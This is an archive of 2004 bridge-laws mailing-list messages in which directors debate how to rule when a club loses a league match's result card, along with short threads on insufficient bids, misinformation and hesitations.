Grattan ~ +=+ From blml@blakjak.com Wed May 12 11:13:32 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 11:13:32 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: RJH wrote > > > > >David Stevenson: > >>>Two teams play a league match, and post the >>>result in the correct way by filling in a >>>return and lodging it with the club where >>>they played. So neither team has done >>>anything wrong. But the club loses the >>>return. >>> >>>Now, it is some considerable time later when >>>it becomes apparent that the return has been >>>lost, and memories have faded. In fact no- >>>one is sure what the score was. >>> >>>I am not sure of the details - not that they >>>matter - so let us say that on a 30VP scale, >>>the match result was definitely a win to >>>team A, by 22-8, 23-7, 24-6 or 25-5. >>> >>>By the time this comes to light it is >>>possible that team A can win the league - but >>>it is close. Quite possibly 25-5 will win >>>the league and 22-8 will not. Their opponents >>>are in the relegation zone, with similar >>>effects. >>> >>>So what do you do? > >Law 79C: > >>An error in computing or tabulating the agreed- >>upon score, whether made by a player or scorer, >>may be corrected until the expiration of the >>period specified by the sponsoring >>organisation. Unless the sponsoring >>organisation specifies a later time, this >>correction period expires 30 minutes after the >>official score has been made available for >>inspection. > >Richard James Hills: > >Since the sponsoring organisation lost the >official score, it has not yet been made >available for inspection, so there is still >time for the scoring error to be corrected. > >Law 81C10: > >>The Director's duties and powers normally >>include the following: >>to collect scores and tabulate results. > >Law 82C: > >>If the Director has given a ruling that he >>or the Chief Director subsequently determines >>to be incorrect, and if no rectification will >>allow the board to be scored normally, he >>shall award an adjusted score, considering >>both sides as non-offending for that purpose. > >Law 86A: > >>When the Director chooses to award an >>artificial adjusted score of average plus or >>average minus in IMP play, that score is plus >>3 IMPs or minus 3 IMPs respectively. > >Richard James Hills: > >The combined effect of Law 81C10, Law 82C, and >Law 86A, suggests that both teams should be >awarded the ArtAS of +3 imps for every board >that they played in their match, and that the >ensuing totals should then be converted to >victory points. We know the losing team scored between 5 and 8 VPs. You would give them approx 23 VPs. The team that gets relegated instead of them will be pleased with this, no? It will feel this is fair, no? The winning team is given 23 VPs but may actually have got 25 VPs. Suppose this gives them another team the title? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 12 11:15:07 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 11:15:07 +0100 Subject: [blml] A new one In-Reply-To: <40A1C7AE.6080001@hdw.be> References: <40A1C7AE.6080001@hdw.be> Message-ID: Herman De Wael wrote >Hello David, > >did you make this one up? No. >I find it hard to believe that a result can be lost for such a long >time without being missed that eight players have been able to lose not >only their papers from the match, but also their memories of it. Why? Do you keep your score-cards from five months ago? Do you remember every board in a match played five months ago? >I would ask the eight players to sit down and agree on some score. >Possibly giving them the benefit of the doubt and awarding 31 or 32 VP, >but not more than that. They cannot agree. >So 24-7 looks about right. >David Stevenson wrote: >> Two teams play a league match, and post the result in the correct >>way by filling in a return and lodging it with the club where they >>played. So neither team has done anything wrong. But the club loses >>the return. >> Now, it is some considerable time later when it becomes apparent >>that the return has been lost, and memories have faded. In fact no- >>one is sure what the score was. >> I am not sure of the details - not that they matter - so let us >>say that on a 30VP scale, the match result was definitely a win to >>team A, by 22-8, 23-7, 24-6 or 25-5. >> By the time this comes to light it is possible that team A can win >>the league - but it is close. Quite possibly 25-5 will win the >>league and 22-8 will not. Their opponents are in the relegation >>zone, with similar effects. >> So what do you do? >> > -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 12 11:18:40 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 11:18:40 +0100 Subject: [blml] A new one In-Reply-To: <000001c437fc$2796b150$6900a8c0@WINXP> References: <000001c437fc$2796b150$6900a8c0@WINXP> Message-ID: Sven Pran wrote >I shall need to know: What do the regulations say about which team ("home", >"away", "winning" or "losing") is responsible for handing in the return and >what do they say about returns not handed in within the prescribed time >limit? Does it really matter when the return was duly filled in and handed in on time? >Leagues in Norway are usually arranged as round robin matches where for each >match one team is defined as the home team and the other the away team. The >home team is responsible for handing in the return (signed by both teams) >usually within 10 minutes after each match. So, consider the equivalent case in Norway where the home team handed in the return and it was then lost. >Now the whole case depends upon whether the club where your teams played was >just hosting that single match and received the return as "agent" for that >team responsible; or was hosting a complete session as "agent" for the SO. The regulations say that returns are handed in to the club. Thye did so. >I must assume the first case (otherwise it is surprising that only the >return from this match could be lost) and in that case the return has not >been handed in correctly. An agent does not relieve a party from his >obligations; the agent simply acts on his behalf. You were asked to rule on certain facts. A ruling based on different facts seems no help whatever. >However, if the club was indeed acting as agent for the SO the situation has >been caused by a SO error (in which case the whole league could be in >jeopardy). > >The case sounds fishy to me. Did this really happen? Everything happens. Why does it sound fishy to you. Does no-one in Norway *ever* make a mistake? Well, here in England people make mistakes. Someone in a club has made a mistake. The players are blameless. Saying it is fishy helps not one iota. How do you rule? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Wed May 12 12:11:41 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 12 May 2004 13:11:41 +0200 Subject: [blml] A new one In-Reply-To: Message-ID: <000101c43811$e7503790$6900a8c0@WINXP> > David Stevenson ........ > Sven Pran wrote > >I shall need to know: What do the regulations say about=20 > >which team ("home", "away", "winning" or "losing") is=20 > >responsible for handing in the return and what do they=20 > >say about returns not handed in within the prescribed=20 > >time limit? >=20 > Does it really matter when the return was duly filled in > and handed in on time? Yes, if it should turn out that returns should be handed in to some SO different from the club and the club was just receiving the return for = the purpose of forwarding it; not as an agent for the SO but as an agent for = the team responsible. Frankly, this was my initial impression from the case = as stated originally. >=20 > >Leagues in Norway are usually arranged as round robin=20 > >matches where for each match one team is defined as the > >home team and the other the away team. The home team is > >responsible for handing in the return (signed by both=20 > > teams) usually within 10 minutes after each match. >=20 > So, consider the equivalent case in Norway where the home=20 > team handed in the return and it was then lost. Precisely. >=20 > >Now the whole case depends upon whether the club where=20 > >your teams played was just hosting that single match=20 > >and received the return as "agent" for that team=20 > >responsible; or was hosting a complete session as=20 > >"agent" for the SO. >=20 > The regulations say that returns are handed in to the=20 > club. They did so. Which means that the club was agent for the SO (or was indeed the SO). =20 > >I must assume the first case (otherwise it is surprising that only = the > >return from this match could be lost) and in that case the return has = not > >been handed in correctly. An agent does not relieve a party from his > >obligations; the agent simply acts on his behalf. >=20 > You were asked to rule on certain facts. A ruling based on different > facts seems no help whatever. Well, the originally given facts were incomplete for a ruling, we = couldn't tell whether the return was properly handed in or not. Now we know that = it was, and we have SO error.=20 So both teams should be given the most favorable result that was likely = to them which I believe calls for a recorded result of 25 - 8 given that = the real result was somewhere between 25 - 5 and 22 - 8. This of course = unless you regulations call for a different procedure on SO errors. > >However, if the club was indeed acting as agent for the SO=20 > >the situation has been caused by a SO error (in which case=20 > >the whole league could be in jeopardy). > > > >The case sounds fishy to me. Did this really happen? >=20 > Everything happens. Why does it sound fishy to you. Does no-one in > Norway *ever* make a mistake? Well, here in England people make > mistakes. Someone in a club has made a mistake. The players are > blameless. Saying it is fishy helps not one iota. How do you rule? Sure we make mistakes, many mistakes. (Except that I believed I made a mistake once in my lifetime, but that turned out to be a mistake).=20 What sounded fishy to me was mainly that no result had been published = for (was it?) 5 months and nobody worried. No player in Norway would have been that patient; he would have started yelling when no result was available in the room the same day or on the internet (or otherwise) the day after. And you have my ruling above (25 - 8). I wouldn't be surprised if other teams next complained that the SO had "destroyed" the league. Regards Sven From blml@blakjak.com Wed May 12 12:35:13 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 12:35:13 +0100 Subject: [blml] 2 cases In-Reply-To: References: <000001c43095$50cd2ae0$6900a8c0@WINXP> Message-ID: Karel wrote > >Law 27B2 (Insufficient bid not accepted) >"If either the insufficient bid or the lowest sufficient bid in the same >denomination may have been conventional or if the bid is corrected by any >other sufficient bid or by a pass, (penalty) the offender's partner must >pass whenever it is his turn to call ....." > >+++ just to clear this up .. ".. MAY have been conventional ... " > >In the case sited, 4C may have been Gerber, but maybe not. How exactly is >one supposed to rule ?? If you ask the OS side they will naturally deny 4C >is gerber. Why? Most bridge players do not lie to Directors. If it is Gerber why would they not say so? Suppose they tell you it is not Gerber. You ask why 4S was bid. He says "to show two aces". Now he has told you out of his own mouth that he has lied, so you throw him out of the tournament. In practice this is not the way bridge players are. they are not completely stupid, they do not tell many direct lies to Directors, so when oyu wan tto know, you ask. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From schoderb@msn.com Wed May 12 12:53:22 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Wed, 12 May 2004 07:53:22 -0400 Subject: [blml] Cavendish ruling -- final deal References: <000601c437fd$0bcf3900$20b487d9@4nrw70j> Message-ID: Sorry, but I can't fully agree. I've read and reread the Example 2 part of Law 75, and I do not get the same flavor about explanation. I know that there are those who feel otherwise, and want the Law to read that way, but the words I read say "...in the absence of evidence to the contrary..." which isn't the same as what Grattan implies (to me) by his much stronger wording of "...I would incline to a view that the margin of doubt has not been cleared up, the Director may well feel that the evidence is not conclusive..." This (again to me) put the onus on the player to be "conclusive" rather than present "evidence to the contrary" that it is not a Mistaken Bid. Shifting from -- presenting evidence -- to making that evidence -- conclusive -- is a "Texas two-step" that was not intended in the promulgated Laws. No where do I find the requirement in the Laws that the margin of doubt need to be cleared up. Kojak ----- Original Message ----- From: "grandeval" To: ; Sent: Wednesday, May 12, 2004 4:38 AM Subject: Re: [blml] Cavendish ruling -- final deal > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "Beware that you do not lose the > substance by grasping at the shadow." > ['The Dog and the Shadow' ~ Aesop.] > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: > To: > Sent: Wednesday, May 12, 2004 12:10 AM > Subject: Re: [blml] Cavendish ruling -- final deal > > > > > > So, in this case, the Law 40A xor Law 75 ruling is predicated > > on whether or not the partnership has a *post-existing* > > implicit partnership agreement that secondary transfer > > responses would be applied to a base of initial non-transfer > > responses. > > > +=+ I am wary of jumping in with both feet because I was > not in the committee room to get the feel of the case. So > I have not made the judgement, only referring to principle > and the matters I would have wished to pursue. Being > pushed, as for example by the above comment, I would > incline to a view that the margin of doubt has not been > cleared up, the Director may well feel that the evidence > is not conclusive. If this is so then he rules misinformation, > and the committee does so also if nothing comes out in > the committee room that is wholly persuasive to the > contrary. I would then be left still with the weight of South's > contribution to his own demise to think about. > ~ Grattan ~ +=+ > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ehaa@starpower.net Wed May 12 13:10:56 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 12 May 2004 08:10:56 -0400 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: References: <000001c43769$5028ee50$6900a8c0@WINXP> <3o7i2NVFGOoAFwfu@blakjak.demon.co.uk> <000001c43769$5028ee50$6900a8c0@WINXP> Message-ID: <5.2.0.9.0.20040512075903.009eeba0@pop.starpower.net> At 09:38 PM 5/11/04, David wrote: >Sven Pran wrote >> >>I believe we agree that it requires some bridge reason for the >>hesitation to >>be "legal". (And for instance considering how to continue in the next >>trick >>is NOT a bridge reason for hesitating with a singleton). >> >>If there is no bridge reason that I as a Director can see (accept) >>then that >>player will have the hell of a job convincing me that his hesitation >>was not >>for the purpose of misleading the declarer, especially if he did not say >>something like for instance: "Sorry lads, I had nothing to think >>about" to >>diminish the effect of his hesitation when his mind returned to the game. > > But why waste your time? The Law is not interested in the purpose > of the hesitation, but its effect. If he had no demonstrable bridge > reason you adjust: you do not care whether he was cheating or asleep. "The Law is not interested" only means that such a remark will not influence a TD or AC ruling on a L73F infraction, which can only occur if "an innocent player has drawn a false inference". But 99% of the time, unless you're facing an unashamed BL (or have a reputation for being one), it is your opponents who will be interested. In my experience, opponents will almost always believe you, get the message, and avoid the false inference (and hence the TD/AC) in the first place. That is hardly a waste of time. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From blml@blakjak.com Wed May 12 13:04:50 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 13:04:50 +0100 Subject: [blml] A new one In-Reply-To: <000101c43811$e7503790$6900a8c0@WINXP> References: <000101c43811$e7503790$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >........ >> Sven Pran wrote >> >I shall need to know: What do the regulations say about >> >which team ("home", "away", "winning" or "losing") is >> >responsible for handing in the return and what do they >> >say about returns not handed in within the prescribed >> >time limit? >> >> Does it really matter when the return was duly filled in >> and handed in on time? > >Yes, if it should turn out that returns should be handed in to some SO >different from the club and the club was just receiving the return for the >purpose of forwarding it; not as an agent for the SO but as an agent for the >team responsible. Frankly, this was my initial impression from the case as >stated originally. I do not understand the difference. The procedure is to give the return to the club. Whose agent the club is in the absence of written contracts and lawyers I have no idea. But are you suggesting that when the players follow the laid-down procedure they could still suffer if the club is their agent? >> >Now the whole case depends upon whether the club where >> >your teams played was just hosting that single match >> >and received the return as "agent" for that team >> >responsible; or was hosting a complete session as >> >"agent" for the SO. >> >> The regulations say that returns are handed in to the >> club. They did so. >Which means that the club was agent for the SO (or was indeed the SO). No, it certainly was not the SO. >> >I must assume the first case (otherwise it is surprising that only the >> >return from this match could be lost) and in that case the return has not >> >been handed in correctly. An agent does not relieve a party from his >> >obligations; the agent simply acts on his behalf. >> >> You were asked to rule on certain facts. A ruling based on different >> facts seems no help whatever. > >Well, the originally given facts were incomplete for a ruling, we couldn't >tell whether the return was properly handed in or not. Now we know that it >was, and we have SO error. > >So both teams should be given the most favorable result that was likely to >them which I believe calls for a recorded result of 25 - 8 given that the >real result was somewhere between 25 - 5 and 22 - 8. This of course unless >you regulations call for a different procedure on SO errors. > >> >However, if the club was indeed acting as agent for the SO >> >the situation has been caused by a SO error (in which case >> >the whole league could be in jeopardy). >> > >> >The case sounds fishy to me. Did this really happen? >> >> Everything happens. Why does it sound fishy to you. Does no-one in >> Norway *ever* make a mistake? Well, here in England people make >> mistakes. Someone in a club has made a mistake. The players are >> blameless. Saying it is fishy helps not one iota. How do you rule? > >Sure we make mistakes, many mistakes. (Except that I believed I made a >mistake once in my lifetime, but that turned out to be a mistake). > >What sounded fishy to me was mainly that no result had been published for >(was it?) 5 months and nobody worried. > >No player in Norway would have been that patient; he would have started >yelling when no result was available in the room the same day or on the >internet (or otherwise) the day after. League tables are often delayed. Players who are that impatient usually know their results anyway. >And you have my ruling above (25 - 8). > >I wouldn't be surprised if other teams next complained that the SO had >"destroyed" the league. I think it harsh to blame anyone except the people who made the mistake. The SO - the league - did not make the mistake. The players did not make the mistake. An intermediary, the club made the mistake. While terribly annoying, it is hard ot see why anyone but them should be actually blamed. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From grandeval@vejez.fsnet.co.uk Wed May 12 09:46:41 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Wed, 12 May 2004 09:46:41 +0100 Subject: [blml] A new one References: <000001c437fc$2796b150$6900a8c0@WINXP> Message-ID: <000801c4381b$62361340$e99687d9@4nrw70j> Grattan Endicott To: "blml" Sent: Wednesday, May 12, 2004 9:36 AM Subject: RE: [blml] A new one However, if the club was indeed acting as agent for the SO the situation has been caused by a SO error (in which case the whole league could be in jeopardy). < +=+ I think the club has acted as agent for the SO in receiving the result of a single match played on its premises. Separately at other times this club may have done the same for other matches. ~ Grattan ~ +=+ From hermandw@hdw.be Wed May 12 13:37:12 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 12 May 2004 14:37:12 +0200 Subject: [blml] A new one In-Reply-To: References: <40A1C7AE.6080001@hdw.be> Message-ID: <40A21A78.3010600@hdw.be> David Stevenson wrote: > Herman De Wael wrote > >>Hello David, >> >>did you make this one up? > > > No. > OK, I believe you. > >>I find it hard to believe that a result can be lost for such a long >>time without being missed that eight players have been able to lose not >>only their papers from the match, but also their memories of it. > > > Why? Do you keep your score-cards from five months ago? Do you > remember every board in a match played five months ago? > No, but my point was that I have never seen a result card go missing for five months. I find it hard to believe that the SO did not know when this match was played, did not realize that they should have received a score card some normal time later, did not ask for the missing score card within some timeframe in which score-cards ARE kept and memory IS fresh. > >>I would ask the eight players to sit down and agree on some score. >>Possibly giving them the benefit of the doubt and awarding 31 or 32 VP, >>but not more than that. > > > They cannot agree. > Well, in that case I will admit to having cocked up so terribly that I shall award them the 33VP from 25-8. > >>So 24-7 looks about right. > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From svenpran@online.no Wed May 12 14:00:12 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 12 May 2004 15:00:12 +0200 Subject: [blml] A new one In-Reply-To: Message-ID: <000001c43821$117960a0$6900a8c0@WINXP> > David Stevenson > >........ > >> Sven Pran wrote > >> >I shall need to know: What do the regulations say about > >> >which team ("home", "away", "winning" or "losing") is > >> >responsible for handing in the return and what do they > >> >say about returns not handed in within the prescribed > >> >time limit? > >> > >> Does it really matter when the return was duly filled in > >> and handed in on time? > > > >Yes, if it should turn out that returns should be handed in to some = SO > >different from the club and the club was just receiving the return = for > the > >purpose of forwarding it; not as an agent for the SO but as an agent = for > the > >team responsible. Frankly, this was my initial impression from the = case > as > >stated originally. >=20 > I do not understand the difference. The procedure is to give the > return to the club. Whose agent the club is in the absence of written > contracts and lawyers I have no idea. But are you suggesting that = when > the players follow the laid-down procedure they could still suffer if > the club is their agent? If the procedure (according to regulations by the SO) is to give the = result to the club then the club represents the SO and as such is an agent for = the SO. The teams have fulfilled their responsibilities once they have = handed their returns over to the club. On the contrary if the return should be handed to the SO and the club = takes on the job to forward it without any authorization or instruction from = the SO to act on its behalf then the team who is responsible for handing in = the return is not relieved from that responsibility by just handing the = return to the club no more than by handing it to any stranger who might take = it. I understand you that the club had in fact accepted the responsibility = of receiving the returns as part of their activities hosting the session, = and that settles this question. =20 > >> >Now the whole case depends upon whether the club where > >> >your teams played was just hosting that single match > >> >and received the return as "agent" for that team > >> >responsible; or was hosting a complete session as > >> >"agent" for the SO. > >> > >> The regulations say that returns are handed in to the > >> club. They did so. >=20 > >Which means that the club was agent for the SO (or was indeed the = SO). >=20 > No, it certainly was not the SO. No, I didn't believe that either. ............. > >What sounded fishy to me was mainly that no result had been published = for > >(was it?) 5 months and nobody worried. > > > >No player in Norway would have been that patient; he would have = started > >yelling when no result was available in the room the same day or on = the > >internet (or otherwise) the day after. >=20 > League tables are often delayed. Players who are that impatient > usually know their results anyway. Now it is my time not to understand your procedures.=20 When we play league all matches in the same round are usually played simultaneously in the same arena and with the same boards. (That is the = only possible way to make all matches comparable as to the number of IMPs "available"). All returns shall then be handed in, verified and signed = by both teams, usually within ten minutes after scheduled end of each = match. Exceptionally some matches can be played "detached" from the other = matches in the same round and then we have strict rules on how the return is to = be reported (handed) to the SO. Usually this will be so that the return = reaches SO no later than on the following day.=20 >=20 > >And you have my ruling above (25 - 8). > > > >I wouldn't be surprised if other teams next complained that the SO = had > >"destroyed" the league. >=20 > I think it harsh to blame anyone except the people who made the > mistake. The SO - the league - did not make the mistake. The players > did not make the mistake. An intermediary, the club made the mistake. > While terribly annoying, it is hard ot see why anyone but them should = be > actually blamed. SO is responsible for what its agents do or don't on behalf of the SO in = the same way as if the action or lack of action had been by SO itself. Regards Sven=20 From svenpran@online.no Wed May 12 14:15:17 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 12 May 2004 15:15:17 +0200 Subject: [blml] A new one In-Reply-To: <000801c4381b$62361340$e99687d9@4nrw70j> Message-ID: <000101c43823$2b6003a0$6900a8c0@WINXP> > grandeval ........... > +=3D+ I think the club has acted as agent for the > SO in receiving the result of a single match played > on its premises. Separately at other times this > club may have done the same for other matches. I too expect that to having been the case. In Norway a match in a league cannot be played "detached" from the other matches in the same round without approval by SO which then knows = exactly on for what day the match is scheduled; so I just do not understand how a return can go missing for any extended period of time without anybody worrying. Regards Sven=20 From blml@blakjak.com Wed May 12 14:17:44 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 14:17:44 +0100 Subject: [blml] A new one In-Reply-To: <40A21A78.3010600@hdw.be> References: <40A1C7AE.6080001@hdw.be> <40A21A78.3010600@hdw.be> Message-ID: Herman De Wael wrote >David Stevenson wrote: >> Why? Do you keep your score-cards from five months ago? Do you >> remember every board in a match played five months ago? >No, but my point was that I have never seen a result card go missing >for five months. >I find it hard to believe that the SO did not know when this match was >played, did not realize that they should have received a score card >some normal time later, did not ask for the missing score card within >some timeframe in which score-cards ARE kept and memory IS fresh. The matches in this league are played "by arrangement" so the league does not worry about whether they have been played until the end of the season. They just rely on result cards and publish tables. There is no reason the league should know whether it was played. Yes, the players might have worked it out from the league tables. But they didn't. >Well, in that case I will admit to having cocked up so terribly that I >shall award them the 33VP from 25-8. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gordon@gordonrainsford.co.uk Wed May 12 15:57:08 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 12 May 2004 15:57:08 +0100 Subject: [blml] A new one In-Reply-To: <000001c43821$117960a0$6900a8c0@WINXP> References: <000001c43821$117960a0$6900a8c0@WINXP> Message-ID: On 12 May 2004, at 14:00, Sven Pran wrote: > When we play league all matches in the same round are usually played > simultaneously in the same arena and with the same boards. (That is > the only > possible way to make all matches comparable as to the number of IMPs > "available"). All returns shall then be handed in, verified and signed > by > both teams, usually within ten minutes after scheduled end of each > match Our leagues don't work like that at all. We get a list of teams to play, a deadline for completion of the league, and we go and arrange matches with the other captains at our convenience. The results are usually converted into VPs, to reduce the IMP effect. -- Gordon Rainsford London UK From svenpran@online.no Wed May 12 16:28:25 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 12 May 2004 17:28:25 +0200 Subject: [blml] A new one In-Reply-To: Message-ID: <000001c43835$c4ccba30$6900a8c0@WINXP> > Gordon Rainsford > > When we play league all matches in the same round are usually played > > simultaneously in the same arena and with the same boards. (That is > > the only > > possible way to make all matches comparable as to the number of IMPs > > "available"). All returns shall then be handed in, verified and = signed > > by > > both teams, usually within ten minutes after scheduled end of each > > match >=20 > Our leagues don't work like that at all. We get a list of teams to > play, a deadline for completion of the league, and we go and arrange > matches with the other captains at our convenience. The results are > usually converted into VPs, to reduce the IMP effect. So I understand now.=20 And you have absolutely no "protection" against an unbalanced league in = that one match can include many boards with large swing potentials while = another hardly offers more than a 16-14 VP victory even to a top team against a bottom team because of many "flat" boards. And please don't argue that = this evens out over say 32 boards, it doesn't. I am shocked if this is supposed to be a serious league. (We use a similar arrangement for the initial "knock out" rounds in the Norwegian championship for club teams but then of course it does not = matter whether you are knocked out with one or hundreds of IMPs in a match). Regards Sven From blml@blakjak.com Wed May 12 17:00:27 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 17:00:27 +0100 Subject: [blml] A new one In-Reply-To: <000101c43823$2b6003a0$6900a8c0@WINXP> References: <000801c4381b$62361340$e99687d9@4nrw70j> <000101c43823$2b6003a0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> grandeval >........... >> +=+ I think the club has acted as agent for the >> SO in receiving the result of a single match played >> on its premises. Separately at other times this >> club may have done the same for other matches. > >I too expect that to having been the case. > >In Norway a match in a league cannot be played "detached" from the other >matches in the same round without approval by SO which then knows exactly on >for what day the match is scheduled; so I just do not understand how a >return can go missing for any extended period of time without anybody >worrying. Surely, Sven, not every competition in the world needs to be played the same as every other one? One of the beauties of this game is that it can be played in so many different ways. If all competitions in Norway are played ot the same format then Norwegian players have lost some of the beauty of the game. I play in three leagues. One is played on the fourth Tuesday of the month. One is played on Thursdays. One is played "by arrangement". It is the last one that is having a difficulty. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 12 17:08:14 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 17:08:14 +0100 Subject: [blml] A new one In-Reply-To: <000001c43835$c4ccba30$6900a8c0@WINXP> References: <000001c43835$c4ccba30$6900a8c0@WINXP> Message-ID: Sven Pran wrote >So I understand now. > >And you have absolutely no "protection" against an unbalanced league in that >one match can include many boards with large swing potentials while another >hardly offers more than a 16-14 VP victory even to a top team against a >bottom team because of many "flat" boards. And please don't argue that this >evens out over say 32 boards, it doesn't. > >I am shocked if this is supposed to be a serious league. I think you should consider some tolerance. No doubt I could find some things I do not like about the way Norwegian leagues are run, but i would hardly be as rude as this about it, and anyway, I believe in tolerating differences plus the beauty of the game is enhanced by the different ways of running competitions. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 12 17:03:14 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 17:03:14 +0100 Subject: [blml] A new one In-Reply-To: <000001c43821$117960a0$6900a8c0@WINXP> References: <000001c43821$117960a0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >> League tables are often delayed. Players who are that impatient >> usually know their results anyway. >Now it is my time not to understand your procedures. > >When we play league all matches in the same round are usually played >simultaneously in the same arena and with the same boards. (That is the only >possible way to make all matches comparable as to the number of IMPs >"available"). All returns shall then be handed in, verified and signed by >both teams, usually within ten minutes after scheduled end of each match. > >Exceptionally some matches can be played "detached" from the other matches >in the same round and then we have strict rules on how the return is to be >reported (handed) to the SO. Usually this will be so that the return reaches >SO no later than on the following day. I am asking about a league that does not play this way. Matches are played by agreement. It would seem strange to me that all matches should require the same boards, but i am tolerant of other organisations playing things differently. That is one of the beauties of the game. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gordon@gordonrainsford.co.uk Wed May 12 17:25:04 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 12 May 2004 17:25:04 +0100 Subject: [blml] A new one In-Reply-To: <000001c43835$c4ccba30$6900a8c0@WINXP> References: <000001c43835$c4ccba30$6900a8c0@WINXP> Message-ID: On 12 May 2004, at 16:28, Sven Pran wrote: > And you have absolutely no "protection" against an unbalanced league > in that > one match can include many boards with large swing potentials while > another > hardly offers more than a 16-14 VP victory even to a top team against a > bottom team because of many "flat" boards. And please don't argue that > this > evens out over say 32 boards, it doesn't. > > I am shocked if this is supposed to be a serious league. I've not seen a league in which the top and bottom teams are so close to each other in ability that flat boards would restrict the possible span of results to 2 VPs. I think the ability of most teams to do something extraordinary (in both directions) is not capable of being limited by flattish boards. Of course, I'm not saying you have no point: merely that you have over-estimated its significance. One of the beauties of a league like ours is its flexibility; it allows for more players to take part than would otherwise be available. As to whether it is a serious league - I don't suppose the players lose much sleep over that classification. -- Gordon Rainsford London UK From richard_willey@hotmail.com Wed May 12 22:14:29 2004 From: richard_willey@hotmail.com (richard willey) Date: Wed, 12 May 2004 21:14:29 +0000 Subject: [blml] Principle of Coincidence Message-ID: Quick question: I seem to recall that the Principle of Coincidence has been deprecated - Directors are not supposed to use this any more. Could someone please fill in the fine details... _________________________________________________________________ Getting married? Find tips, tools and the latest trends at MSN Life Events. http://lifeevents.msn.com/category.aspx?cid=married From richard.hills@immi.gov.au Wed May 12 23:23:01 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 13 May 2004 08:23:01 +1000 Subject: [blml] A new one Message-ID: Richard James Hills: [big snip] >>>The combined effect of Law 81C10, Law 82C, and >>>Law 86A, suggests that both teams should be >>>awarded the ArtAS of +3 imps for every board >>>that they played in their match, and that the >>>ensuing totals should then be converted to >>>victory points. David Stevenson: >>We know the losing team scored between 5 and 8 >>VPs. You would give them approx 23 VPs. The >>team that gets relegated instead of them will >>be pleased with this, no? It will feel this is >>fair, no? [snip] Richard James Hills: It is not "fair" that Law requires that a declarer must make a grand slam missing the ace of trumps, when a meaningless earlier revoke has been perpetrated by a defender. But the Law is the Law. Rudyard Kipling: >If, drunk with sight of power, we loose >Wild tongues that have not Thee in awe, >Such boastings as the Gentiles use, >Or lesser breeds without the Law. Best wishes RJH From mfrench1@san.rr.com Wed May 12 23:36:04 2004 From: mfrench1@san.rr.com (Marvin French) Date: Wed, 12 May 2004 15:36:04 -0700 Subject: [blml] Principle of Coincidence References: Message-ID: <003601c43871$89b1b040$6401a8c0@san.rr.com> From: "richard willey" > Quick question: > > I seem to recall that the Principle of Coincidence has been deprecated - > Directors are not supposed to use this any more. > > Could someone please fill in the fine details... > Edgar Kaplan wrote (*The Bridge World* November 1993), when this was called the Rule of Coincidence ##### In our view, the "Rule of Coincidence" *should* be unfamiliar to everyone, since there ain't no such animal. The Laws are very clear: "A player may make any call or play...provided 